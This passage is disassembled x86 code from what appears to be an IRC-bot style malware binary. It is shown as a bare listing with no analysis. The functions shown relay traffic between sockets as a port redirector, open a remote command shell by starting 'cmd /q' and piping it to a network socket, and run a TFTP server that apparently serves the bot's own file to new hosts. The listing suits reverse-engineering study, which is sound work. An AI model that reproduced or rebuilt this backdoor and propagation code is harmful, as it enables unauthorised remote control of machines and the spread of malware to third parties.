ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1344h call sub_4181D0 mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd mov ebx, [ebp+var_30] xor ecx, ecx inc ecx push 6 push ecx push 2 mov [eax+120h], ecx mov [ebp+var_4], ebx call dword_4D66E8 ; socket mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+arg_0], esi jz loc_40EDB8 push 10h lea eax, [ebp+var_18] push edi push eax call sub_417700 add esp, 0Ch mov [ebp+var_18], 2 push [ebp+var_3C] call dword_4D6668 ; ntohs mov [ebp+var_16], ax lea eax, [ebp+var_13C] push eax call dword_4D66A8 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+var_8], eax jnz short loc_40ECE5 lea eax, [ebp+var_13C] push eax call dword_4D66EC ; gethostbyname jmp short loc_40ECF3 ; --------------------------------------------------------------------------- loc_40ECE5: ; CODE XREF: sub_40EC55+7Fj push 2 lea eax, [ebp+var_8] push 4 push eax call dword_4D6620 ; gethostbyaddr loc_40ECF3: ; CODE XREF: sub_40EC55+8Ej cmp eax, edi jz loc_40EDB8 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push esi call dword_4D6610 ; connect cmp eax, 0FFFFFFFFh jz loc_40EDB8 movzx eax, [ebp+var_16] push [ebp+var_34] mov [ebp+var_20], edi push eax push [ebp+var_14] call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_344] push offset unk_4416B0 push eax call sub_417CB0 push esi lea eax, [ebp+var_344] push 18h push eax call sub_409663 imul ebx, 234h mov [ebp+var_30], eax imul eax, 234h mov ecx, [ebp+var_34] lea esi, dword_4495AC[ebx] mov dword_4495A4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4495B0[eax], ecx lea eax, [ebp+var_1C] push eax lea eax, [ebp+var_144] push edi push eax push offset sub_40EE3D push edi push edi call dword_4E0340 ; CreateThread mov ecx, [ebp+var_30] imul ecx, 234h cmp eax, edi mov dword_4495B4[ecx], eax jnz short loc_40EDF1 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_4416F8 call sub_40F99B pop ecx pop ecx loc_40EDB8: ; CODE XREF: sub_40EC55+44j ; sub_40EC55+A0j ... mov eax, [ebp+var_4] imul eax, 234h push dword_4495AC[eax] call dword_4D6700 ; closesocket push [ebp+arg_0] call dword_4D6700 ; closesocket push [ebp+var_4] call sub_409979 pop ecx push edi call dword_4E03A0 ; ExitThread pop edi pop esi pop ebx loc_40EDE9: ; CODE XREF: sub_40EC55+19Fj push 32h call dword_4E033C ; Sleep loc_40EDF1: ; CODE XREF: sub_40EC55+14Ej cmp [ebp+var_20], edi jz short loc_40EDE9 mov ebx, 1000h loc_40EDFB: ; CODE XREF: sub_40EC55+1E1j push ebx lea eax, [ebp+var_1344] push edi push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_1344] push edi push ebx push eax push dword ptr [esi] call dword_4D6680 ; recv cmp eax, edi jle short loc_40EDB8 push edi push eax lea eax, [ebp+var_1344] push eax push [ebp+arg_0] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EDFB jmp loc_40EDB8 sub_40EC55 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40EE3D proc near ; DATA XREF: sub_40EC55+130o var_1128 = byte ptr -1128h var_128 = byte ptr -128h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1128h call sub_4181D0 mov eax, [ebp+arg_0] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp+var_128] rep movsd mov esi, [ebp+var_14] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_40EE74: ; CODE XREF: sub_40EE3D+7Cj push edi lea eax, [ebp+var_1128] push 0 push eax call sub_417700 add esp, 0Ch lea eax, [ebp+var_1128] push 0 push edi push eax push dword_4495B0[esi] call dword_4D6680 ; recv test eax, eax jle short loc_40EEBB push 0 push eax lea eax, [ebp+var_1128] push eax push dword_4495AC[esi] call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jnz short loc_40EE74 loc_40EEBB: ; CODE XREF: sub_40EE3D+61j push dword_4495B0[esi] call dword_4D6700 ; closesocket push [ebp+var_14] call sub_409979 pop ecx push 0 call dword_4E03A0 ; ExitThread pop edi pop esi push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi mov edi, [ebp+arg_0] push edi call sub_40F02F imul edi, 234h mov esi, eax xor ebx, ebx mov eax, dword_4495AC[edi] mov [ebp+var_C], 0Ch mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [esi+0Ch], eax mov edi, dword_4E0340 pop ecx lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_40F201 lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+10h], eax jnz short loc_40EF49 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_441738 call sub_40F99B or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx xor eax, eax jmp loc_40F029 ; --------------------------------------------------------------------------- loc_40EF49: ; CODE XREF: sub_40EE3D+EDj lea eax, [ebp+arg_0] push eax push ebx push esi push offset sub_40F29F lea eax, [ebp+var_C] push ebx push eax call edi ; CreateThread cmp eax, ebx mov [esi+14h], eax jnz short loc_40EF8A call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_441780 call sub_40F99B pop ecx or dword ptr [esi+0Ch], 0FFFFFFFFh pop ecx push ebx push dword ptr [esi+14h] call dword_4E0378 ; TerminateThread xor eax, eax jmp loc_40F02A ; --------------------------------------------------------------------------- loc_40EF8A: ; CODE XREF: sub_40EE3D+123j mov eax, [esi+10h] push 0FFFFFFFFh mov [ebp+var_18], eax mov eax, [esi+14h] mov [ebp+var_14], eax mov eax, [esi+8] mov [ebp+var_10], eax lea eax, [ebp+var_18] push ebx push eax push 3 call dword_4E03F4 ; WaitForMultipleObjects sub eax, ebx jz short loc_40EFE4 dec eax jz short loc_40EFDE dec eax jz short loc_40EFCA call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_4417C8 call sub_40F99B pop ecx pop ecx jmp short loc_40EFF9 ; --------------------------------------------------------------------------- loc_40EFCA: ; CODE XREF: sub_40EE3D+176j mov edi, dword_4E0378 push ebx push dword ptr [esi+14h] call edi ; TerminateThread push ebx push dword ptr [esi+10h] call edi ; TerminateThread jmp short loc_40EFF9 ; --------------------------------------------------------------------------- loc_40EFDE: ; CODE XREF: sub_40EE3D+173j push ebx push dword ptr [esi+10h] jmp short loc_40EFE8 ; --------------------------------------------------------------------------- loc_40EFE4: ; CODE XREF: sub_40EE3D+170j push ebx push dword ptr [esi+14h] loc_40EFE8: ; CODE XREF: sub_40EE3D+1A5j call dword_4E0378 ; TerminateThread push 1 push dword ptr [esi+8] call dword_4E03BC ; TerminateProcess loc_40EFF9: ; CODE XREF: sub_40EE3D+18Bj ; sub_40EE3D+19Fj push dword ptr [esi+10h] mov edi, dword_4E032C call edi ; CloseHandle push dword ptr [esi+14h] call edi ; CloseHandle push dword ptr [esi+8] call edi ; CloseHandle push dword ptr [esi] call edi ; CloseHandle push dword ptr [esi+4] call edi ; CloseHandle push dword ptr [esi+0Ch] call dword_4D6700 ; closesocket push esi call sub_415C20 xor eax, eax inc eax loc_40F029: ; CODE XREF: sub_40EE3D+107j pop ecx loc_40F02A: ; CODE XREF: sub_40EE3D+148j pop edi pop esi pop ebx leave retn sub_40EE3D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F02F proc near ; CODE XREF: sub_40EE3D+AAp var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi xor edi, edi push 18h mov [ebp+var_4], edi mov [ebp+var_8], edi call sub_415090 mov esi, eax pop ecx cmp esi, edi jz loc_40F119 mov ebx, dword_4E03C8 lea eax, [ebp+var_14] push edi push eax lea eax, [ebp+var_8] mov [esi], edi push eax mov [esi+4], edi push esi mov [ebp+var_14], 0Ch mov [ebp+var_10], edi mov [ebp+var_C], 1 call ebx ; CreatePipe mov edi, dword_4E032C test eax, eax jnz short loc_40F092 call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_441800 jmp short loc_40F0B2 ; --------------------------------------------------------------------------- loc_40F092: ; CODE XREF: sub_40F02F+53j lea eax, [ebp+var_14] push 0 push eax lea eax, [esi+4] push eax lea eax, [ebp+var_4] push eax call ebx ; CreatePipe test eax, eax jnz short loc_40F0BA call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_441840 loc_40F0B2: ; CODE XREF: sub_40F02F+61j call sub_40F99B pop ecx jmp short loc_40F0E8 ; --------------------------------------------------------------------------- loc_40F0BA: ; CODE XREF: sub_40F02F+75j push [ebp+arg_0] push [ebp+var_8] push [ebp+var_4] call sub_40F128 add esp, 0Ch mov [esi+8], eax push [ebp+var_4] call edi ; CloseHandle push [ebp+var_8] call edi ; CloseHandle cmp dword ptr [esi+8], 0 jnz short loc_40F11D push offset unk_441880 call sub_40F927 loc_40F0E8: ; CODE XREF: sub_40F02F+89j cmp [ebp+var_4], 0 pop ecx jz short loc_40F0F4 push [ebp+var_4] call edi ; CloseHandle loc_40F0F4: ; CODE XREF: sub_40F02F+BEj cmp [ebp+var_8], 0 jz short loc_40F0FF push [ebp+var_8] call edi ; CloseHandle loc_40F0FF: ; CODE XREF: sub_40F02F+C9j mov eax, [esi] test eax, eax jz short loc_40F108 push eax call edi ; CloseHandle loc_40F108: ; CODE XREF: sub_40F02F+D4j mov eax, [esi+4] test eax, eax jz short loc_40F112 push eax call edi ; CloseHandle loc_40F112: ; CODE XREF: sub_40F02F+DEj push esi call sub_415C20 pop ecx loc_40F119: ; CODE XREF: sub_40F02F+1Dj xor eax, eax jmp short loc_40F123 ; --------------------------------------------------------------------------- loc_40F11D: ; CODE XREF: sub_40F02F+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_40F123: ; CODE XREF: sub_40F02F+ECj pop edi pop esi pop ebx leave retn sub_40F02F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F128 proc near ; CODE XREF: sub_40F02F+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_417700 push 10h lea eax, [ebp+var_14] push esi push eax call sub_417700 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4E03C4 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_4E03C0 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_4E0330 ; CreateProcessA test eax, eax jz short loc_40F1E4 mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4495A8[eax], ecx call dword_4E032C ; CloseHandle jmp short loc_40F1FA ; --------------------------------------------------------------------------- loc_40F1E4: ; CODE XREF: sub_40F128+9Aj call dword_4E0350 ; RtlGetLastWin32Error push eax push offset unk_4418B0 call sub_40F99B mov esi, [ebp+var_4] pop ecx pop ecx loc_40F1FA: ; CODE XREF: sub_40F128+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_40F128 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F201 proc near ; DATA XREF: sub_40EE3D+DCo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx mov ebx, dword_4E03B8 push esi push edi mov edi, [ebp+arg_0] jmp short loc_40F264 ; --------------------------------------------------------------------------- loc_40F218: ; CODE XREF: sub_40F201+7Bj xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_40F24D loc_40F223: ; CODE XREF: sub_40F201+4Aj mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_40F23D cmp dl, 0Dh jz short loc_40F23D mov [ebp+eax+var_1B0], 0Dh inc eax loc_40F23D: ; CODE XREF: sub_40F201+2Cj ; sub_40F201+31j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_40F223 loc_40F24D: ; CODE XREF: sub_40F201+20j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4D66B8 ; send test eax, eax jle short loc_40F27E loc_40F264: ; CODE XREF: sub_40F201+15j lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] call ebx ; ReadFile test eax, eax jnz short loc_40F218 loc_40F27E: ; CODE XREF: sub_40F201+61j mov esi, dword_4E0350 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_40F29A call esi ; RtlGetLastWin32Error push eax push offset unk_4418E8 call sub_40F99B pop ecx pop ecx loc_40F29A: ; CODE XREF: sub_40F201+88j pop edi pop esi pop ebx leave retn sub_40F201 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F29F proc near ; DATA XREF: sub_40EE3D+112o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx jmp loc_40F398 ; --------------------------------------------------------------------------- loc_40F2BA: ; CODE XREF: sub_40F29F+10Ej cmp [ebp+var_10], ebx jbe short loc_40F2C7 dec [ebp+var_10] jmp loc_40F39B ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F29F+1Ej mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_40F383 cmp al, 8 mov [ebp+var_C], ebx jz short loc_40F337 cmp al, 7Fh jz short loc_40F337 cmp al, 3 jnz short loc_40F2F2 push ebx push ebx call dword_4E03F8 ; GenerateConsoleCtrlEvent jmp short loc_40F35E ; --------------------------------------------------------------------------- loc_40F2F2: ; CODE XREF: sub_40F29F+47j cmp al, 15h jnz short loc_40F314 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_40F34A ; --------------------------------------------------------------------------- loc_40F314: ; CODE XREF: sub_40F29F+55j xor ecx, ecx mov [ebp+esi+var_DC], al inc esi inc ecx cmp al, 0Dh mov [ebp+var_8], al jnz short loc_40F34B mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_40F34A ; --------------------------------------------------------------------------- loc_40F337: ; CODE XREF: sub_40F29F+3Fj ; sub_40F29F+43j cmp esi, ebx jbe short loc_40F361 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_40F34A: ; CODE XREF: sub_40F29F+73j ; sub_40F29F+96j pop ecx loc_40F34B: ; CODE XREF: sub_40F29F+85j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4D66B8 ; send test eax, eax jle short loc_40F3B3 loc_40F35E: ; CODE XREF: sub_40F29F+51j mov al, byte ptr [ebp+arg_0+3] loc_40F361: ; CODE XREF: sub_40F29F+9Aj cmp al, 0Dh jnz short loc_40F39B lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_4E03B4 ; WriteFile test eax, eax jz short loc_40F3B3 xor esi, esi jmp short loc_40F39B ; --------------------------------------------------------------------------- loc_40F383: ; CODE XREF: sub_40F29F+34j cmp [ebp+var_C], ebx jnz short loc_40F391 mov [ebp+var_C], 1 jmp short loc_40F39B ; --------------------------------------------------------------------------- loc_40F391: ; CODE XREF: sub_40F29F+E7j mov [ebp+var_10], 0Ah loc_40F398: ; CODE XREF: sub_40F29F+16j mov [ebp+var_C], ebx loc_40F39B: ; CODE XREF: sub_40F29F+23j ; sub_40F29F+C4j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4D6680 ; recv test eax, eax jg loc_40F2BA loc_40F3B3: ; CODE XREF: sub_40F29F+BDj ; sub_40F29F+DEj pop edi pop esi pop ebx leave retn sub_40F29F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F3B8 proc near ; CODE XREF: sub_40F3B8:loc_40F823p ; DATA XREF: sub_401C87+1CF2o ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi xor ebx, ebx push edi xor eax, eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx inc eax push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4D66E8 ; socket mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40F458 push 190h call dword_4E033C ; Sleep cmp [ebp+var_D8], ebx jnz short loc_40F438 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_40764A add esp, 14h loc_40F438: ; CODE XREF: sub_40F3B8+5Bj lea eax, [ebp+var_778] push eax call sub_40F927 push [ebp+var_168] call sub_409979 pop ecx pop ecx push ebx call dword_4E03A0 ; ExitThread loc_40F458: ; CODE XREF: sub_40F3B8+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4D6648 ; setsockopt lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4D6648 ; setsockopt mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov dword_4495AC[eax], esi lea eax, [ebp+var_2C] push eax call sub_417700 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call dword_4D6668 ; ntohs mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4D6694 ; bind cmp eax, 0FFFFFFFFh jnz short loc_40F4E2 push 1388h call dword_4E033C ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_40F823 ; --------------------------------------------------------------------------- loc_40F4E2: ; CODE XREF: sub_40F3B8+10Fj lea eax, [ebp+var_370] push offset aRb_0 ; "rb" push eax call sub_4176E0 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_40F548 push 190h call dword_4E033C ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_40764A lea eax, [ebp+var_778] push eax call sub_40F927 push [ebp+var_168] call sub_409979 add esp, 1Ch push ebx call dword_4E03A0 ; ExitThread loc_40F548: ; CODE XREF: sub_40F3B8+142j ; sub_40F3B8+425j mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_40F7E6 mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_417700 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4D6650 ; select test eax, eax jle loc_40F7DA mov al, byte_4D93AC mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4D6640 ; recvfrom push [ebp+var_38] mov [ebp+var_8], eax call dword_4D66F4 ; inet_ntoa push eax lea eax, [ebp+var_50] push eax call sub_417CB0 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_40F7C4 cmp [ebp+var_CF], 1 jnz loc_40F6D0 lea eax, [ebp+var_26C] push eax call sub_414EC0 push ebx push ebx push [ebp+var_4] call sub_419FD0 push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_4173D0 add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4D66CC ; sendto lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_40F6BE push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_40764A add esp, 14h loc_40F6BE: ; CODE XREF: sub_40F3B8+2E1j lea eax, [ebp+var_778] push eax call sub_40F927 pop ecx jmp loc_40F7DA ; --------------------------------------------------------------------------- loc_40F6D0: ; CODE XREF: sub_40F3B8+257j cmp [ebp+var_CF], 4 jnz loc_40F7C4 mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_40F707 inc al xor cl, cl mov [ebp+var_575], bl jmp short loc_40F70F ; --------------------------------------------------------------------------- loc_40F707: ; CODE XREF: sub_40F3B8+341j inc cl mov [ebp+var_575], cl loc_40F70F: ; CODE XREF: sub_40F3B8+34Dj mov [ebp+var_576], al mov edi, 200h movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx push ebx shl eax, 9 sub eax, edi push eax push [ebp+var_4] call sub_419FD0 push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_4173D0 add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4D66CC ; sendto cmp edi, ebx jnz short loc_40F7DA lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax call sub_417CB0 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_40F7AF push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_40764A add esp, 14h loc_40F7AF: ; CODE XREF: sub_40F3B8+3D2j lea eax, [ebp+var_778] push eax call sub_40F927 inc dword_4D9170 pop ecx jmp short loc_40F7DA ; --------------------------------------------------------------------------- loc_40F7C4: ; CODE XREF: sub_40F3B8+24Aj ; sub_40F3B8+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_441968 push esi call dword_4D66CC ; sendto loc_40F7DA: ; CODE XREF: sub_40F3B8+1E9j ; sub_40F3B8+313j ... cmp [ebp+var_8], ebx jg loc_40F548 mov edi, [ebp+arg_0] loc_40F7E6: ; CODE XREF: sub_40F3B8+199j push esi call dword_4D6700 ; closesocket push [ebp+var_4] call sub_414F40 dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_40F817 push [ebp+var_168] call sub_409979 pop ecx push ebx call dword_4E03A0 ; ExitThread loc_40F817: ; CODE XREF: sub_40F3B8+44Aj push 3E8h call dword_4E033C ; Sleep push edi loc_40F823: ; CODE XREF: sub_40F3B8+125j call sub_40F3B8 pop edi pop esi pop ebx leave retn 4 sub_40F3B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F82F proc near ; CODE XREF: sub_401C87+572Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_448820 mov edi, 0B8h loc_40F843: ; CODE XREF: sub_40F82F+33j cmp byte ptr [esi], 0 jz short loc_40F866 push [ebp+arg_0] push esi call sub_418A30 pop ecx test eax, eax pop ecx jz short loc_40F866 inc [ebp+var_4] add esi, edi cmp esi, offset dword_4493A0 jl short loc_40F843 jmp short loc_40F8A8 ; --------------------------------------------------------------------------- loc_40F866: ; CODE XREF: sub_40F82F+17j ; sub_40F82F+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_448820[esi] push ebx call sub_417700 push 17h push [ebp+arg_0] push ebx call sub_417760 push 9Fh lea eax, dword_448838[esi] push [ebp+arg_4] push eax call sub_417760 add esp, 24h inc dword_437A40 pop ebx loc_40F8A8: ; CODE XREF: sub_40F82F+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_40F82F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F8AF proc near ; CODE XREF: sub_401C87+23A6p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_441974 push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h xor edi, edi mov esi, offset dword_448820 loc_40F8D9: ; CODE XREF: sub_40F8AF+72j cmp byte ptr [esi], 0 jz short loc_40F914 lea eax, [esi+18h] push eax push esi push edi push offset dword_441988 lea eax, [ebp+var_200] push 200h push eax call sub_417E80 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 2Ch loc_40F914: ; CODE XREF: sub_40F8AF+2Dj add esi, 0B8h inc edi cmp esi, offset dword_4493A0 jl short loc_40F8D9 pop edi pop esi leave retn sub_40F8AF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F927 proc near ; CODE XREF: sub_401404+372p ; sub_401404+3F3p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call dword_4E03FC ; GetLocalTime mov ebx, offset dword_4DD3B0 mov edi, 80h mov esi, offset dword_4D93B0 loc_40F949: ; CODE XREF: sub_40F927+3Dj cmp byte ptr [ebx], 0 jz short loc_40F960 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_417760 add esp, 0Ch loc_40F960: ; CODE XREF: sub_40F927+25j sub ebx, edi cmp ebx, esi jge short loc_40F949 movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_417E80 add esp, 28h pop edi pop esi pop ebx leave retn sub_40F927 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: 